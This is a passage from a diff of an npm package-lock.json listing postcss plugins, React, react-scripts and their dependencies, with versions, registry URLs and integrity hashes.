"https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-normalize-string/-/postcss-normalize-string-5.1.0.tgz", + "integrity": "sha512-oYiIJOf4T9T1N4i+abeIc7Vgm/xPCGih4bZz5Nm0/ARVJ7K6xrDlLwvwqOydvyL3RHNf8qZk6vo3aatiw/go3w==", + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-normalize-timing-functions": { + "version": "5.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-normalize-timing-functions/-/postcss-normalize-timing-functions-5.1.0.tgz", + "integrity": "sha512-DOEkzJ4SAXv5xkHl0Wa9cZLF3WCBhF3o1SKVxKQAa+0pYKlueTpCgvkFAHfk+Y64ezX9+nITGrDZeVGgITJXjg==", + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-normalize-unicode": { + "version": "5.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-normalize-unicode/-/postcss-normalize-unicode-5.1.1.tgz", + "integrity": "sha512-qnCL5jzkNUmKVhZoENp1mJiGNPcsJCs1aaRmURmeJGES23Z/ajaln+EPTD+rBeNkSryI+2WTdW+lwcVdOikrpA==", + "requires": { + "browserslist": "^4.21.4", + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-normalize-url": { + "version": "5.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-normalize-url/-/postcss-normalize-url-5.1.0.tgz", + "integrity": "sha512-5upGeDO+PVthOxSmds43ZeMeZfKH+/DKgGRD7TElkkyS46JXAUhMzIKiCa7BabPeIy3AQcTkXwVVN7DbqsiCew==", + "requires": { + "normalize-url": "^6.0.1", + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-normalize-whitespace": { + "version": "5.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-normalize-whitespace/-/postcss-normalize-whitespace-5.1.1.tgz", + "integrity": "sha512-83ZJ4t3NUDETIHTa3uEg6asWjSBYL5EdkVB0sDncx9ERzOKBVJIUeDO9RyA9Zwtig8El1d79HBp0JEi8wvGQnA==", + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-opacity-percentage": { + "version": "1.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-opacity-percentage/-/postcss-opacity-percentage-1.1.3.tgz", + "integrity": "sha512-An6Ba4pHBiDtyVpSLymUUERMo2cU7s+Obz6BTrS+gxkbnSBNKSuD0AVUc+CpBMrpVPKKfoVz0WQCX+Tnst0i4A==", + "requires": {} + }, + "postcss-ordered-values": { + "version": "5.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-ordered-values/-/postcss-ordered-values-5.1.3.tgz", + "integrity": "sha512-9UO79VUhPwEkzbb3RNpqqghc6lcYej1aveQteWY+4POIwlqkYE21HKWaLDF6lWNuqCobEAyTovVhtI32Rbv2RQ==", + "requires": { + "cssnano-utils": "^3.1.0", + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-overflow-shorthand": { + "version": "3.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-overflow-shorthand/-/postcss-overflow-shorthand-3.0.4.tgz", + "integrity": "sha512-otYl/ylHK8Y9bcBnPLo3foYFLL6a6Ak+3EQBPOTR7luMYCOsiVTUk1iLvNf6tVPNGXcoL9Hoz37kpfriRIFb4A==", + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-page-break": { + "version": "3.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-page-break/-/postcss-page-break-3.0.4.tgz", + "integrity": "sha512-1JGu8oCjVXLa9q9rFTo4MbeeA5FMe00/9C7lN4va606Rdb+HkxXtXsmEDrIraQ11fGz/WvKWa8gMuCKkrXpTsQ==", + "requires": {} + }, + "postcss-place": { + "version": "7.0.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-place/-/postcss-place-7.0.5.tgz", + "integrity": "sha512-wR8igaZROA6Z4pv0d+bvVrvGY4GVHihBCBQieXFY3kuSuMyOmEnnfFzHl/tQuqHZkfkIVBEbDvYcFfHmpSet9g==", + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-preset-env": { + "version": "7.8.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-preset-env/-/postcss-preset-env-7.8.3.tgz", + "integrity": "sha512-T1LgRm5uEVFSEF83vHZJV2z19lHg4yJuZ6gXZZkqVsqv63nlr6zabMH3l4Pc01FQCyfWVrh2GaUeCVy9Po+Aag==", + "requires": { + "@csstools/postcss-cascade-layers": "^1.1.1", + "@csstools/postcss-color-function": "^1.1.1", + "@csstools/postcss-font-format-keywords": "^1.0.1", + "@csstools/postcss-hwb-function": "^1.0.2", + "@csstools/postcss-ic-unit": "^1.0.1", + "@csstools/postcss-is-pseudo-class": "^2.0.7", + "@csstools/postcss-nested-calc": "^1.0.0", + "@csstools/postcss-normalize-display-values": "^1.0.1", + "@csstools/postcss-oklab-function": "^1.1.1", + "@csstools/postcss-progressive-custom-properties": "^1.3.0", + "@csstools/postcss-stepped-value-functions": "^1.0.1", + "@csstools/postcss-text-decoration-shorthand": "^1.0.0", + "@csstools/postcss-trigonometric-functions": "^1.0.2", + "@csstools/postcss-unset-value": "^1.0.2", + "autoprefixer": "^10.4.13", + "browserslist": "^4.21.4", + "css-blank-pseudo": "^3.0.3", + "css-has-pseudo": "^3.0.4", + "css-prefers-color-scheme": "^6.0.3", + "cssdb": "^7.1.0", + "postcss-attribute-case-insensitive": "^5.0.2", + "postcss-clamp": "^4.1.0", + "postcss-color-functional-notation": "^4.2.4", + "postcss-color-hex-alpha": "^8.0.4", + "postcss-color-rebeccapurple": "^7.1.1", + "postcss-custom-media": "^8.0.2", + "postcss-custom-properties": "^12.1.10", + "postcss-custom-selectors": "^6.0.3", + "postcss-dir-pseudo-class": "^6.0.5", + "postcss-double-position-gradients": "^3.1.2", + "postcss-env-function": "^4.0.6", + "postcss-focus-visible": "^6.0.4", + "postcss-focus-within": "^5.0.4", + "postcss-font-variant": "^5.0.0", + "postcss-gap-properties": "^3.0.5", + "postcss-image-set-function": "^4.0.7", + "postcss-initial": "^4.0.1", + "postcss-lab-function": "^4.2.1", + "postcss-logical": "^5.0.4", + "postcss-media-minmax": "^5.0.0", + "postcss-nesting": "^10.2.0", + "postcss-opacity-percentage": "^1.1.2", + "postcss-overflow-shorthand": "^3.0.4", + "postcss-page-break": "^3.0.4", + "postcss-place": "^7.0.5", + "postcss-pseudo-class-any-link": "^7.1.6", + "postcss-replace-overflow-wrap": "^4.0.0", + "postcss-selector-not": "^6.0.1", + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-pseudo-class-any-link": { + "version": "7.1.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-pseudo-class-any-link/-/postcss-pseudo-class-any-link-7.1.6.tgz", + "integrity": "sha512-9sCtZkO6f/5ML9WcTLcIyV1yz9D1rf0tWc+ulKcvV30s0iZKS/ONyETvoWsr6vnrmW+X+KmuK3gV/w5EWnT37w==", + "requires": { + "postcss-selector-parser": "^6.0.10" + } + }, + "postcss-reduce-initial": { + "version": "5.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-reduce-initial/-/postcss-reduce-initial-5.1.2.tgz", + "integrity": "sha512-dE/y2XRaqAi6OvjzD22pjTUQ8eOfc6m/natGHgKFBK9DxFmIm69YmaRVQrGgFlEfc1HePIurY0TmDeROK05rIg==", + "requires": { + "browserslist": "^4.21.4", + "caniuse-api": "^3.0.0" + } + }, + "postcss-reduce-transforms": { + "version": "5.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-reduce-transforms/-/postcss-reduce-transforms-5.1.0.tgz", + "integrity": "sha512-2fbdbmgir5AvpW9RLtdONx1QoYG2/EtqpNQbFASDlixBbAYuTcJ0dECwlqNqH7VbaUnEnh8SrxOe2sRIn24XyQ==", + "requires": { + "postcss-value-parser": "^4.2.0" + } + }, + "postcss-replace-overflow-wrap": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-replace-overflow-wrap/-/postcss-replace-overflow-wrap-4.0.0.tgz", + "integrity": "sha512-KmF7SBPphT4gPPcKZc7aDkweHiKEEO8cla/GjcBK+ckKxiZslIu3C4GCRW3DNfL0o7yW7kMQu9xlZ1kXRXLXtw==", + "requires": {} + }, + "postcss-selector-not": { + "version": "6.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-selector-not/-/postcss-selector-not-6.0.1.tgz", + "integrity": "sha512-1i9affjAe9xu/y9uqWH+tD4r6/hDaXJruk8xn2x1vzxC2U3J3LKO3zJW4CyxlNhA56pADJ/djpEwpH1RClI2rQ==", + "requires": { + "postcss-selector-parser": "^6.0.10" + } + }, + "postcss-selector-parser": { + "version": "6.0.13", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-selector-parser/-/postcss-selector-parser-6.0.13.tgz", + "integrity": "sha512-EaV1Gl4mUEV4ddhDnv/xtj7sxwrwxdetHdWUGnT4VJQf+4d05v6lHYZr8N573k5Z0BViss7BDhfWtKS3+sfAqQ==", + "requires": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + } + }, + "postcss-svgo": { + "version": "5.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-svgo/-/postcss-svgo-5.1.0.tgz", + "integrity": "sha512-D75KsH1zm5ZrHyxPakAxJWtkyXew5qwS70v56exwvw542d9CRtTo78K0WeFxZB4G7JXKKMbEZtZayTGdIky/eA==", + "requires": { + "postcss-value-parser": "^4.2.0", + "svgo": "^2.7.0" + }, + "dependencies": { + "commander": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/commander/-/commander-7.2.0.tgz", + "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==" + }, + "css-tree": { + "version": "1.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/css-tree/-/css-tree-1.1.3.tgz", + "integrity": "sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==", + "requires": { + "mdn-data": "2.0.14", + "source-map": "^0.6.1" + } + }, + "mdn-data": { + "version": "2.0.14", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/mdn-data/-/mdn-data-2.0.14.tgz", + "integrity": "sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow==" + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==" + }, + "svgo": { + "version": "2.8.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/svgo/-/svgo-2.8.0.tgz", + "integrity": "sha512-+N/Q9kV1+F+UeWYoSiULYo4xYSDQlTgb+ayMobAXPwMnLvop7oxKMo9OzIrX5x3eS4L4f2UHhc9axXwY8DpChg==", + "requires": { + "@trysound/sax": "0.2.0", + "commander": "^7.2.0", + "css-select": "^4.1.3", + "css-tree": "^1.1.3", + "csso": "^4.2.0", + "picocolors": "^1.0.0", + "stable": "^0.1.8" + } + } + } + }, + "postcss-unique-selectors": { + "version": "5.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-unique-selectors/-/postcss-unique-selectors-5.1.1.tgz", + "integrity": "sha512-5JiODlELrz8L2HwxfPnhOWZYWDxVHWL83ufOv84NrcgipI7TaeRsatAhK4Tr2/ZiYldpK/wBvw5BD3qfaK96GA==", + "requires": { + "postcss-selector-parser": "^6.0.5" + } + }, + "postcss-value-parser": { + "version": "4.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz", + "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==" + }, + "prelude-ls": { + "version": "1.2.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/prelude-ls/-/prelude-ls-1.2.1.tgz", + "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==" + }, + "pretty-bytes": { + "version": "5.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/pretty-bytes/-/pretty-bytes-5.6.0.tgz", + "integrity": "sha512-FFw039TmrBqFK8ma/7OL3sDz/VytdtJr044/QUJtH0wK9lb9jLq9tJyIxUwtQJHwar2BqtiA4iCWSwo9JLkzFg==" + }, + "pretty-error": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/pretty-error/-/pretty-error-4.0.0.tgz", + "integrity": "sha512-AoJ5YMAcXKYxKhuJGdcvse+Voc6v1RgnsR3nWcYU7q4t6z0Q6T86sv5Zq8VIRbOWWFpvdGE83LtdSMNd+6Y0xw==", + "requires": { + "lodash": "^4.17.20", + "renderkid": "^3.0.0" + } + }, + "pretty-format": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/pretty-format/-/pretty-format-27.5.1.tgz", + "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==", + "requires": { + "ansi-regex": "^5.0.1", + "ansi-styles": "^5.0.0", + "react-is": "^17.0.1" + }, + "dependencies": { + "ansi-styles": { + "version": "5.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==" + } + } + }, + "process-nextick-args": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==" + }, + "promise": { + "version": "8.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/promise/-/promise-8.3.0.tgz", + "integrity": "sha512-rZPNPKTOYVNEEKFaq1HqTgOwZD+4/YHS5ukLzQCypkj+OkYx7iv0mA91lJlpPPZ8vMau3IIGj5Qlwrx+8iiSmg==", + "requires": { + "asap": "~2.0.6" + } + }, + "prompts": { + "version": "2.4.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/prompts/-/prompts-2.4.2.tgz", + "integrity": "sha512-NxNv/kLguCA7p3jE8oL2aEBsrJWgAakBpgmgK6lpPWV+WuOmY6r2/zbAVnP+T8bQlA0nzHXSJSJW0Hq7ylaD2Q==", + "requires": { + "kleur": "^3.0.3", + "sisteransi": "^1.0.5" + } + }, + "prop-types": { + "version": "15.8.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/prop-types/-/prop-types-15.8.1.tgz", + "integrity": "sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==", + "requires": { + "loose-envify": "^1.4.0", + "object-assign": "^4.1.1", + "react-is": "^16.13.1" + }, + "dependencies": { + "react-is": { + "version": "16.13.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==" + } + } + }, + "proxy-addr": { + "version": "2.0.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/proxy-addr/-/proxy-addr-2.0.7.tgz", + "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==", + "requires": { + "forwarded": "0.2.0", + "ipaddr.js": "1.9.1" + }, + "dependencies": { + "ipaddr.js": { + "version": "1.9.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ipaddr.js/-/ipaddr.js-1.9.1.tgz", + "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==" + } + } + }, + "psl": { + "version": "1.9.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/psl/-/psl-1.9.0.tgz", + "integrity": "sha512-E/ZsdU4HLs/68gYzgGTkMicWTLPdAftJLfJFlLUAAKZGkStNU72sZjT66SnMDVOfOWY/YAoiD7Jxa9iHvngcag==" + }, + "punycode": { + "version": "2.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/punycode/-/punycode-2.3.0.tgz", + "integrity": "sha512-rRV+zQD8tVFys26lAGR9WUuS4iUAngJScM+ZRSKtvl5tKeZ2t5bvdNFdNHBW9FWR4guGHlgmsZ1G7BSm2wTbuA==" + }, + "q": { + "version": "1.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/q/-/q-1.5.1.tgz", + "integrity": "sha512-kV/CThkXo6xyFEZUugw/+pIOywXcDbFYgSct5cT3gqlbkBE1SJdwy6UQoZvodiWF/ckQLZyDE/Bu1M6gVu5lVw==" + }, + "qs": { + "version": "6.13.0", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.13.0.tgz", + "integrity": "sha512-+38qI9SOr8tfZ4QmJNplMUxqjbe7LKvvZgWdExBOmd+egZTtjLB67Gu0HRX3u/XOq7UU2Nx6nsjvS16Z9uwfpg==", + "requires": { + "side-channel": "^1.0.6" + } + }, + "querystringify": { + "version": "2.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/querystringify/-/querystringify-2.2.0.tgz", + "integrity": "sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==" + }, + "queue-microtask": { + "version": "1.2.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==" + }, + "raf": { + "version": "3.4.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/raf/-/raf-3.4.1.tgz", + "integrity": "sha512-Sq4CW4QhwOHE8ucn6J34MqtZCeWFP2aQSmrlroYgqAV1PjStIhJXxYuTgUIfkEk7zTLjmIjLmU5q+fbD1NnOJA==", + "requires": { + "performance-now": "^2.1.0" + } + }, + "randombytes": { + "version": "2.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/randombytes/-/randombytes-2.1.0.tgz", + "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==", + "requires": { + "safe-buffer": "^5.1.0" + } + }, + "range-parser": { + "version": "1.2.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/range-parser/-/range-parser-1.2.1.tgz", + "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==" + }, + "raw-body": { + "version": "2.5.2", + "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.5.2.tgz", + "integrity": "sha512-8zGqypfENjCIqGhgXToC8aB2r7YrBX+AQAfIPs/Mlk+BtPTztOvTS01NRW/3Eh60J+a48lt8qsCzirQ6loCVfA==", + "requires": { + "bytes": "3.1.2", + "http-errors": "2.0.0", + "iconv-lite": "0.4.24", + "unpipe": "1.0.0" + }, + "dependencies": { + "bytes": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", + "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==" + }, + "iconv-lite": { + "version": "0.4.24", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "requires": { + "safer-buffer": ">= 2.1.2 < 3" + } + } + } + }, + "react": { + "version": "18.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/react/-/react-18.2.0.tgz", + "integrity": "sha512-/3IjMdb2L9QbBdWiW5e3P2/npwMBaU9mHCSCUzNln0ZCYbcfTsGbTJrU/kGemdH2IWmB2ioZ+zkxtmq6g09fGQ==", + "requires": { + "loose-envify": "^1.1.0" + } + }, + "react-app-polyfill": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/react-app-polyfill/-/react-app-polyfill-3.0.0.tgz", + "integrity": "sha512-sZ41cxiU5llIB003yxxQBYrARBqe0repqPTTYBTmMqTz9szeBbE37BehCE891NZsmdZqqP+xWKdT3eo3vOzN8w==", + "requires": { + "core-js": "^3.19.2", + "object-assign": "^4.1.1", + "promise": "^8.1.0", + "raf": "^3.4.1", + "regenerator-runtime": "^0.13.9", + "whatwg-fetch": "^3.6.2" + } + }, + "react-dev-utils": { + "version": "12.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/react-dev-utils/-/react-dev-utils-12.0.1.tgz", + "integrity": "sha512-84Ivxmr17KjUupyqzFode6xKhjwuEJDROWKJy/BthkL7Wn6NJ8h4WE6k/exAv6ImS+0oZLRRW5j/aINMHyeGeQ==", + "requires": { + "@babel/code-frame": "^7.16.0", + "address": "^1.1.2", + "browserslist": "^4.18.1", + "chalk": "^4.1.2", + "cross-spawn": "^7.0.3", + "detect-port-alt": "^1.1.6", + "escape-string-regexp": "^4.0.0", + "filesize": "^8.0.6", + "find-up": "^5.0.0", + "fork-ts-checker-webpack-plugin": "^6.5.0", + "global-modules": "^2.0.0", + "globby": "^11.0.4", + "gzip-size": "^6.0.0", + "immer": "^9.0.7", + "is-root": "^2.1.0", + "loader-utils": "^3.2.0", + "open": "^8.4.0", + "pkg-up": "^3.1.0", + "prompts": "^2.4.2", + "react-error-overlay": "^6.0.11", + "recursive-readdir": "^2.2.2", + "shell-quote": "^1.7.3", + "strip-ansi": "^6.0.1", + "text-table": "^0.2.0" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==" + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + }, + "loader-utils": { + "version": "3.2.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/loader-utils/-/loader-utils-3.2.1.tgz", + "integrity": "sha512-ZvFw1KWS3GVyYBYb7qkmRM/WwL2TQQBxgCK62rlvm4WpVQ23Nb4tYjApUlfjrEGvOs7KHEsmyUn75OHZrJMWPw==" + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "react-dom": { + "version": "18.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/react-dom/-/react-dom-18.2.0.tgz", + "integrity": "sha512-6IMTriUmvsjHUjNtEDudZfuDQUoWXVxKHhlEGSk81n4YFS+r/Kl99wXiwlVXtPBtJenozv2P+hxDsw9eA7Xo6g==", + "requires": { + "loose-envify": "^1.1.0", + "scheduler": "^0.23.0" + } + }, + "react-error-overlay": { + "version": "6.0.11", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/react-error-overlay/-/react-error-overlay-6.0.11.tgz", + "integrity": "sha512-/6UZ2qgEyH2aqzYZgQPxEnz33NJ2gNsnHA2o5+o4wW9bLM/JYQitNP9xPhsXwC08hMMovfGe/8retsdDsczPRg==" + }, + "react-is": { + "version": "17.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/react-is/-/react-is-17.0.2.tgz", + "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==" + }, + "react-refresh": { + "version": "0.11.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/react-refresh/-/react-refresh-0.11.0.tgz", + "integrity": "sha512-F27qZr8uUqwhWZboondsPx8tnC3Ct3SxZA3V5WyEvujRyyNv0VYPhoBg1gZ8/MV5tubQp76Trw8lTv9hzRBa+A==" + }, + "react-scripts": { + "version": "5.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/react-scripts/-/react-scripts-5.0.1.tgz", + "integrity": "sha512-8VAmEm/ZAwQzJ+GOMLbBsTdDKOpuZh7RPs0UymvBR2vRk4iZWCskjbFnxqjrzoIvlNNRZ3QJFx6/qDSi6zSnaQ==", + "requires": { + "@babel/core": "^7.16.0", + "@pmmmwh/react-refresh-webpack-plugin": "^0.5.3", + "@svgr/webpack": "^5.5.0", + "babel-jest": "^27.4.2", + "babel-loader": "^8.2.3", + "babel-plugin-named-asset-import": "^0.3.8", + "babel-preset-react-app": "^10.0.1", + "bfj": "^7.0.2", + "browserslist": "^4.18.1", + "camelcase": "^6.2.1", + "case-sensitive-paths-webpack-plugin": "^2.4.0", + "css-loader": "^6.5.1", + "css-minimizer-webpack-plugin": "^3.2.0", + "dotenv": "^10.0.0", + "dotenv-expand": "^5.1.0", + "eslint": "^8.3.0", + "eslint-config-react-app": 